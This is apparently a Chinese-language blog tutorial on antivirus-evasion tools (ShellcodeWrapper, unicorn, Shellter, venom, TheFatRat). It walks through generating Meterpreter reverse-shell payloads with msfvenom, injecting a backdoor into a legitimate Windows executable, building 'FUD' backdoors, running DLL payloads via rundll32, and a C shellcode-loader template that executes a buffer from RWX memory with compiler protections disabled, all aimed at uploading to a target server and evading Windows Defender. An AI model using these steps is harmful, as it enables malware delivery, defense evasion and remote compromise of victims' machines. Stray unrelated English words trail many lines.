選擇了幾個簡單或者近期還有更新的免殺工具進行學習python
項目地址linux
https://github.com/Arno0x/ShellcodeWrapperios
該工具的原理是使用異或加密或者aes加密,作到混淆,進行免殺。git
先使用msfvenom生成raw格式文件github
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw
下面命令mi0
是密碼隨意寫便可。shell
python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor
會生成3個文件,用C++編譯的cpp文件,用python編譯的py文件和用c#編譯的cs文件c#
直接丟到vs中把cpp編譯生成exe文件便可,上傳目標服務器。windows
項目地址數組
https://github.com/trustedsec/unicorn.git安全
從github上下載下來就能夠運行,使用方法很是簡單
支持生成ps一、macro、hta、dde等形式的代碼和文件
全部類型的使用方法以下
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde CRT Example: python unicorn.py <path_to_payload/exe_encode> crt Custom PS1 Example: python unicorn.py <path to ps1 file> Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500 Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format) Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit) Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit) Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit) Generate .SettingContent-ms: python unicorn.py ms
這裏生產powershell的腳本
python unicorn.py windows/meterpreter/reverse_tcp 192.168.2.1 4444
運行powershell的腳本便可
shellter使用的是PE文件注入的方式,測試kali和windows的版本,感受windows的還要方便穩定一點
windows版本下載地址
https://www.shellterproject.com/download/
以windows爲例下載後直接運行shellter.exe
主要一開始有2個模式,一個Auto一個manual
Auto的選項要少不少,更加的方便,manual選項不少,能夠自定義調用的混淆模塊等參數
Choose Operation Mode - Auto/Manual (A/M/H): A Perform Online Version Check? (Y/N/H): N #此處輸入注入的PE文件,這裏注入D盾 PE Target: \\vmware-host\Shared Folders\Mac 上的 mi0\script\kali\D_Safe_Manage.exe ......(等待) #選擇是否開啓隱藏模式 Enable Stealth Mode? (Y/N/H): N #選擇回連payload的方式 ************ * Payloads * ************ [1] Meterpreter_Reverse_TCP [stager] [2] Meterpreter_Reverse_HTTP [stager] [3] Meterpreter_Reverse_HTTPS [stager] [4] Meterpreter_Bind_TCP [stager] [5] Shell_Reverse_TCP [stager] [6] Shell_Bind_TCP [stager] [7] WinExec #選擇輸入listed payload輸入 Use a listed payload or custom? (L/C/H): L #輸入payload的編號 Select payload by index: 1 *************************** * meterpreter_reverse_tcp * *************************** #設置監聽地址和端口 SET LHOST: 192.168.2.1 SET LPORT: 4444 .....(等待生成成功便可)
目標服務器上運行程序便可反彈shell(我這裏用msf的模塊監聽便可收到shell)
項目地址
https://github.com/r00t-3xp10it/venom
安裝起來步驟比較繁瑣,主要是依賴問題
進入到目標文件夾
sudo aux/setup.sh
會幫你安裝全部須要的依賴,以後運行
sudo ./venom.sh
選擇目標的模塊
__ _ ______ ____ _ _____ ____ __ \ \ //| ___|| \ | |/ \| \ / | \ \// | ___|| \| || || \/ | \__/ |______||__/\____|\_____/|__/\__/|__|1.0.16 USER:kali ENV:vm INTERFACE:eth0 ARCH:x64 DISTRO:Kali ╔─────────────────────────────────────────────────────────────╗ ║ 1 - Unix based payloads ║ ║ 2 - Windows-OS payloads ║ ║ 3 - Multi-OS payloads ║ ║ 4 - Android|IOS payloads ║ ║ 5 - Webserver payloads ║ ║ 6 - Microsoft office payloads ║ ║ 7 - System built-in shells ║ ║ 8 - Amsi Evasion Payloads ║ ║ ║ ║ E - Exit Shellcode Generator ║ ╚─────────────────────────────────────────────────────────────╣ SSARedTeam@2019_| [☠] Shellcode Generator [➽] Chose Categorie number: 2
以後會彈出適應該模塊的免殺方式以及生成文件格式,輸入對應的編號便可
以後分別會彈出接收shell的host輸入框,接收shell的port輸入框,反彈shell的payload選擇框(都是msf的),輸入生成文件的名字
後面2個參數都選deafult默認便可
參數輸完以後,去vemon項目下的output中取生成的shell發送到目標服務器上運行便可
注:windows 1的dll文件shell可以繞過windows 10自帶病毒檢測(這就很nice)
運行dll可使用如下命令
rundll32.exe test.dll,main
項目地址
https://github.com/Screetsec/TheFatRat
安裝步驟很簡單
chmod +x setup.sh && ./setup.sh
更新(更新後還要從新setup.sh一下)
./update && chmod +x setup.sh && ./setup.sh
再檢查下組件是否正常
chmod +x chk_tools ./chk_tools
注意下即便組件正常也要安裝names的python依賴,以後調用模塊的時候會用到
pip install names
踩坑:個人環境是kali20.2,這個版本的kali使用的kali用戶而不是root用戶,用sudo pip
安裝了後,啓動fatrat仍是說找不到names
模塊,這時候須要sudo su
切換到root用戶進行names
的安裝
在安裝時會發現它還須要BDF這個免殺做爲依賴
在肯定全部組件安裝完畢後運行
sudo ./fatrat
稍等片刻進入界面
2 ____ | | |____| _|____|_ _____ _ _____ _ _____ _ / ee\_ |_ _| |_ ___| __|___| |_| __ |___| |_ .< __O | | | | -_| __| .'| _| -| .'| _| /\ \.-.' \ |_| |_|_|___|__| |___|_| |__|__|___|_| J \.|'.\/ \ | |_.|. | | | [--] Backdoor Creator for Remote Acces [--] \__.' .|-' / [--] Created by: Edo Maland (Screetsec) [--] L /|o'--'\ [--] Version: 1.9.7 [--] | /\/\/\ \ [--] Codename: Whistle [--] J / \.__\ [--] Follow me on Github: @Screetsec [--] J / \.__\ [--] Dracos Linux : @dracos-linux.org [--] |/ / [--] [--] \ .'\. [--] SELECT AN OPTION TO BEGIN: [--] ____)_/\_(___\. [--] .___________________________________[--] (___._/ \_.___)'\_.-----------------------------------------/ [01] Create Backdoor with msfvenom [02] Create Fud 100% Backdoor with Fudwin 1.0 [03] Create Fud Backdoor with Avoid v1.2 [04] Create Fud Backdoor with backdoor-factory [embed] [05] Backdooring Original apk [Instagram, Line,etc] [06] Create Fud Backdoor 1000% with PwnWinds [Excelent] [07] Create Backdoor For Office with Microsploit [08] Trojan Debian Package For Remote Acces [Trodebi] [09] Load/Create auto listeners [10] Jump to msfconsole [11] Searchsploit [12] File Pumper [Increase Your Files Size] [13] Configure Default Lhost & Lport [14] Cleanup [15] Help [16] Credits [17] Exit ┌─[TheFatRat]──[~]─[menu]: └─────►2
這裏官方推薦02和06模塊,這裏使用02的模塊中的udp加殼
_______ ___ ___ ______ ___ ___ ___ ______ | _ | Y | _ \ | Y | | _ \ |. 1___|. | |. | \|. | |. |. | | |. __) |. | |. | |. / \ |. |. | | |: | |: 1 |: 1 |: |: |: | | |::.| |::.. . |::.. . /|::.|:. |::.|::.| | --- ------- ------ --- --- --- --- --- 1.0 Select one tool to create your Windows EXE FUD Rat [ 1 ] - Powerstager 0.2.5 by z0noxz (powershell) (NEW) [ 2 ] - Slow But Powerfull (OLD) [ 3 ] - Return to menu ┌─[TheFatRat]──[~]─[FUDWIN]: └─────► 2
會出現填寫lhost和lport的提示框
以後會等很長一段時間,生成exe文件,上傳到目標服務器運行便可
監聽使用msf的windows/meterpreter/reverse_tcp)
便可
該免殺工具也能過win10的自帶防火牆
免殺思路:經過cs和msf生成後門文件,對生成的後門進行代碼處理達到免殺
在編寫c代碼的時候能夠加上該語句,則不會觸發黑窗
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
編譯環境是VS 2019
在運行前將編譯器的棧緩衝區安全檢查(/Gs) 、數據執行保護(DEP)以及代碼優化關閉關閉
關閉位置:
代碼優化:C/C++ --> 優化
棧緩衝區安全檢查(/Gs):C/C++ --> 代碼生成 --> 安全檢查
數據執行保護(DEP):鏈接器 --> 高級 --> 數據執行保護
咱們可使用下面的模板生成shellcode,將msf或者cs的shellcode放入到buf數組變量中便可。
在運行前能夠對buf中的字符進行處理達到免殺(以後會學習記錄下如何手寫shellcode)
#include <windows.h> #include <iostream> #include <time.h> #pragma comment (lib, "winmm.lib") #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") void startShellCode() { unsigned char buf[] = ""; void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof(buf)); ((void(*)())exec)(); } void main() { startShellCode(); }